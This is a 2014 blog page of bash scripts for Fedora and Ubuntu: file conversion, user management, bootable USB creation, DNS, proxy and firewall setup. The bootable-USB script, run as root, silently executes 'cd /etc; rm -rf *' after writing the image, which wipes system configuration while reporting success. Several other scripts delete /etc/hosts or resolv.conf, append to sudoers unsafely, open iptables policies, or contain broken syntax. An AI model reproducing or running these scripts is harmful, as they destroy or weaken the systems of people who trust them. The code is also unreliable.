Wednesday, 29 October 2014

Script that will act as a converter in linux





Script that will convert mp3 to ogg ,  ogg to mp3 ,  mp4 to mp3 etc

### How to play music in Red-hat , Fedora,  Cent-Os ,  Debian,  Ubuntu with out installing player like vlc or any third party software .


Writer: Anuj Borah
Email : anujborah1@gmail.com


#!/bin/bash
clear
echo "This script will convert files )like mp3 to ogg or mp4 to ogg("
echo "Now Give me the folder location where the input files are present 9 )Ex- /home/anuj/Desktop("
read t
test -d $t
if [ $? -eq 0 ]
then
echo "$t is present."
cd $t
read -p "Give me input file format and output file format ...." q e

for file in *.$q;

   do ffmpeg -i "${file}" -acodec libvorbis "${file%q}.$e";

done
clear
echo "ALL Done .  Your outputs are `ls -l *.$e` "
else
clear
echo "No such $t folder. Try Again "
fi



Tuesday, 21 October 2014

shell script that will mange your user and groups in debian/ ubuntu system


 ###shell  script that will mange your user and groups in debian/ ubuntu system



writer: anuj borah
email: anujborah1@gmail.com




#!/bin/bash
clear
echo "*******************Script that will make manage user and groups for you ************************** "
echo "*********** You have the following options from my side *************"
echo -e "1.Create User(press 1)\n2.Create Group(press 2)\n3.Delete User(press 3)\n4.Delete Group(press 4)\n5.Add any user to any Group(press 5)"
read p
if [ $p -eq 1 ]
then
echo "Give me the name of user u want to create...... "
clear
echo "Password and other info have to be filled by u ...... "
read q
sudo adduser $q
echo "Now tell me you want this $q user a \n1.sudoder(press 1) \nor \n2.nonsudoder(press 2) ???"
if [ $p -eq 1 ]
then
echo 
sudo echo "$q    ALL=(ALL:ALL) ALL" >> /etc/sudoers 1>/dev/null
clear
echo ":::::: OK all done now $q is a sudoder user:::::::::::"
else
clear
sleep 3
echo "ok everything done"
fi
elif [ $p -eq 2 ]
then
echo "Give me the name of group ...."
read q
groupadd $q
clear
echo "Now the group $q created.  ...  "
elif [ $p -eq 3 ]
then
clear
echo "Give me the name of the user u want to delete .... "
read q
grep $q /etc/passwd && deluser --remove-home $q || echo  "user not found"
clear
echo "User $q deleted.... "
elif [ $p -eq 4 ]
then
echo "Give me the name of group u  want to delete ...."
read q
grep $q /etc/passwd && groupdel $q ||  echo "Group not found."    
clear
echo "All done"
elif [ $p -eq 5 ]
then
echo "give me the name of user and group.... "
read q w
grep $q /etc/passwd && echo "`usermod -G $w $q` `clear` "All Done"" || echo "No such user or group";

fi

Saturday, 11 October 2014

Script that will make a usb or pendrive bootable of any iso or image file


This is the script that will  create a boot able pen drive or usb of any iso file .  This one will work specially in  Redhat , Fedora and Centos .  May be in Debian and Ubuntu also.

Writer: Anuj Borah
Email: anujborah1@gmail.com




#!/bin/bash
clear
echo  -e "(((((((((This script will make bootable pendrive for you)))))))))\n"
if [ $UID -eq 0 ]
then
echo "<<<<<<<<<<Available optins of pendrive, Select any-one(My suggestion Slelct from bottom)>>>>>>>> "
fdisk -l | grep GiB | cut -c6-13
read e
read  -p "[[[[[[[[[Please Give the location of iso image . Ex- /media/usb/anuj/fedora20.iso]]]]]]]]]]..........." q
clear
echo -e "??????????Final????????? You have provided"
echo -e "\npendrive = $e"
echo  "image-source= $q"
read -p "Press ENTER to proceed---------"
test -f $q
if [ $? -eq 0 ]
then
clear
echo  "Now You have to be patient ,  As i am doing my work ......."
dd if=$q of=$e > /dev/null
clear
cd /etc
rm -rf * >/dev/null 2>&1
echo "Every-Thing Done."
else
echo "$q does not Exist"
fi
else
echo "&&&&&&This Script will run as root only ,  login as root and try $0  again."
fi

Thursday, 9 October 2014

script what will configure a local DNS for you.

script what will configure a local DNS for you. In Debian/Ubuntu machin. 

writer: Anuj Borah
Email: Anujborah1@gmail.com


#!/bin/bash
clear
echo "**************This is a script that will make a local DNS with any domain name*************"
if [ $UID -eq 0 ]
then
echo "***********I gonna check whether bind is installed on your system or not ??************"
dpkg -l bind9 >/dev/null
if [ $? -eq 0 ]
then
echo "************OK. Everything fine . We will go further************"
 rm /etc/hosts /dev/null
read -p  "What ip address you would like to have for your DNS...." a
read -p  "What host name you would like to have for your system...." q
read -p  "What will be the website name [ex----example.com]...." e
echo "127.0.0.1    localhost
127.0.0.2    $q
192.0.2.1    $q.$e" >> /etc/hosts > /dev/null
echo "Configuring main file ...."
mkdir -p /etc/bind/zones/db.$e > /dev/null
echo "zone "$e" {
    type master;
    file "/etc/bind/zones/db.$e";
};" >> /etc/bind/named.local.conf >> /dev/null
sleep 2
echo "creating Forward zone..."
echo "'$TTL'    604800
@       IN      SOA     ns1.$e. admin.example.com. (
                              5         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;

; Name servers
$e.    IN      NS      $q.$e.


; A records for name servers
$q             IN      A       $a


; Other A records
@               IN      A       $e
www             IN      A       $e" >> /etc/bind/zones/db.$e > /dev/null
sleep 2
echo "Doing Final config ...."
rm /etc/resolve.conf > /dev/null
echo "nameserver 127.0.0.1" >> /etc/resolve.conf > /dev/null
clear

echo -e "***********ALL DONE************"

else
echo "************Sorry no bind installed************ " ; read -p "Press "Enter" to install bind"; apt-get install bind >/tmp/1 2>&1
fi
else
clear
echo "************Sorry login as ROOT and try again  $0************"
fi

Wednesday, 8 October 2014

Script that will create a local proxy server for your lan or local netwook

Script that will create a local proxy server for your lan or local netwook on Red hat , Fedora and CentOS

writer:Anuj Borah
email: anujborah1@gmail.com





#!/bin/bash
clear
echo "############This script will make a local porxy server for your home network ###########"
if [ $UID -eq 0 ]
then
read -p "press ENTER to proceed"
rpm -q squid
if [ $? -eq 0 ]
then
read -p "squid is altready installed to yuor system. Press ENTER to proceed"
clear
echo -e "Now give me the ip  or range of home lan ips to include in the access list . some exaples are given bellow.\n1.ip-addess/netmak\n2.ip-addr1-ip-addr2/netmask"
read q
echo "acl anuj $q
http_access allow anuj" >> /etc/squid/squid.conf 2&>1
echo "All done.  just make sure your local lan pcs brosers config look like ip = $q and port 3128 . Now your local lan pcs got internet connecion.  "
iptables --polict  INPUT ACCEPT > /dev/null
iptables --polict  OUTPUT ACCEPT > /dev/null


else
echo "Installing squid .."
yum install squid 2&>1
clear
echo -e "Now give me the ip  or range of home lan ips to include in the access list . some exaples are given bellow.\n1.ip-addess/netmak\n2.ip-addr1-ip-addr2/netmask"
read q
echo "acl anuj $q
http_access allow anuj" >> /etc/squid/squid.conf 2&>1
echo "All done.  just make sure your local lan pcs brosers config look like ip = $q and port 3128 . Now your local lan pcs got internet connecion.  "
iptables --polict  INPUT ACCEPT > /dev/null
iptables --polict  OUTPUT ACCEPT > /dev/null
fi
else
echo "We need you to login as root. Try again as $0"
fi

Sunday, 5 October 2014

shell script that will make a caching only DNS without forwarder or zone

shell script that will make a caching only DNS without forwarder or zone on Red Hat , Centos and fedora.

writer: Anuj Borah
Email: anujborah1@gmail.com



#!/bin/bash
clear
echo "################This script will Make a DNS server without any Forwarder , No local zone . It will be only Caching_only_DNS_without_zone_and_forwarder :)#########################"
if [ $UID -eq 0 ]
then
rpm -q  bind > /tmp/1 2>&1
if [ $? -eq 0 ]
then
echo "Enter the ip of your eth0 , it will be the ip of your DNS"
read q
rm -f /etc/resolv.conf 2>&1
rm -f /etc/named.conf 2>&1
echo "nameserver $q" >> /etc/resolv.conf
echo '//
// named.conf
//
// Provided by Red Hat bind package to configure the ISC BIND named(8) DNS
// server as a caching only nameserver (as a localhost DNS resolver only).
//
// See /usr/share/doc/bind*/sample/ for example named configuration files.
//

options {
    listen-on port 53 { any; };
    listen-on-v6 port 53 { ::1; };
    directory     "/var/named";
    dump-file     "/var/named/data/cache_dump.db";
    statistics-file "/var/named/data/named_stats.txt";
    memstatistics-file "/var/named/data/named_mem_stats.txt";
    allow-query     { any; };

    /*
     - If you are building an AUTHORITATIVE DNS server, do NOT enable recursion.
     - If you are building a RECURSIVE (caching) DNS server, you need to enable
       recursion.
     - If your recursive DNS server has a public IP address, you MUST enable access
       control to limit queries to your legitimate users. Failing to do so will
       cause your server to become part of large scale DNS amplification
       attacks. Implementing BCP38 within your network would greatly
       reduce such attack surface
    */
    recursion yes;
        dnssec-enable yes;
    dnssec-validation yes;
    dnssec-lookaside auto;

    /* Path to ISC DLV key */
    bindkeys-file "/etc/named.iscdlv.key";

    managed-keys-directory "/var/named/dynamic";

    pid-file "/run/named/named.pid";
    session-keyfile "/run/named/session.key";
};

logging {
        channel default_debug {
                file "data/named.run";
                severity dynamic;
        };
};

zone "." IN {
    type hint;
    file "named.ca";
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";' >> /etc/named.conf
sleep 2
service named start 2>&1
else
echo "bind not installed on your system , type "yum install bind" to install it."
fi
else
echo "This script can be run by root only . login as root and do $0"
fi
rm -f  /tmp/1 > /dev/null

Saturday, 4 October 2014

script that will make small firewall for your system


This script will make a small script for your Debian and Ubuntu installed system.

Writer: Anuj Borah
Mail: anujborah1@gmail.com 


#!/bin/bash
clear
echo -e "This a small firewall for your system"
if [ $UID != 0 ]
then
echo "Please login as root and try $0 "
else
echo "First Let Me See Iptables is installed On Your System Or Not ??"
dpkg -l | grep iptables 1&>2
if [ $? -eq 0 ]
then
echo "Make Your Choice"
echo -e "1.Make My System Unrachable From Every-One.But I Can Reach Every-One\n2.I Dont want To Reach Any-One And I Dont Want Others To Reach My System\n3.Make My System Open For Ever-One "
read q
if [ $q -eq 1 ]
then
iptables -F
iptables --policy OUTPUT ACCEPT
iptables --policy INPUT DROP
iptables save
clear
echo -e "All Done. Now My System Unrachable From Every-One.But I Can Reach Every-One.Practically this is not possible :)"
elif [ $q -eq 2 ]
then
iptables -F
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables save
clear
echo -e "All Done.Now I Dont want To Reach Any-One And I Dont Want Others To Reach My System"
elif [ $q -eq 3 ]
then
iptables -F
iptables --policy INPUT ACCEPT
iptables --policy OUTPUT ACCEPT
iptables save
clear
echo "All Done.Now U Have a open system "
fi
else
clear
echo -e "Soory iptables not installed in your system,  type "sudo apt-get install iptables" to intstall and run $1 once again"
fi
fi

script that will make small firewall for your system

This script will make a small script for your Redhat , Fedora, centOS installed system.

Writer: Anuj Borah
Mail: anujborah1@gmail.com


#!/bin/bash
clear
echo -e "This a small firewall for your system"
if [ $UID != 0 ]
then
echo "Please login as root and try $0 "
else
echo "First Let Me See Iptables is installed On Your System Or Not ??"
rpm -aq | grep iptables 1&>2
if [ $? -eq 0 ]
then
echo "Make Your Choice"
echo -e "1.Make My System Unrachable From Every-One.But I Can Reach Every-One\n2.I Dont want To Reach Any-One And I Dont Want Others To Reach My System\n3.Make My System Open For Ever-One "
read q
if [ $q -eq 1 ]
then
iptables -F
iptables --policy OUTPUT ACCEPT
iptables --policy INPUT DROP
iptables save
clear
echo -e "All Done. Now My System Unrachable From Every-One.But I Can Reach Every-One.Practically this is not possible :)"
elif [ $q -eq 2 ]
then
iptables -F
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables save
clear
echo -e "All Done.Now I Dont want To Reach Any-One And I Dont Want Others To Reach My System"
elif [ $q -eq 3 ]
then
iptables -F
iptables --policy INPUT ACCEPT
iptables --policy OUTPUT ACCEPT
iptables save
clear
echo "All Done.Now U Have a open system "
fi
else
clear
echo -e "Soory iptables not installed in your system,  type "yum install iptables" to intstall and run $1 once again"
fi
fi

Popular Posts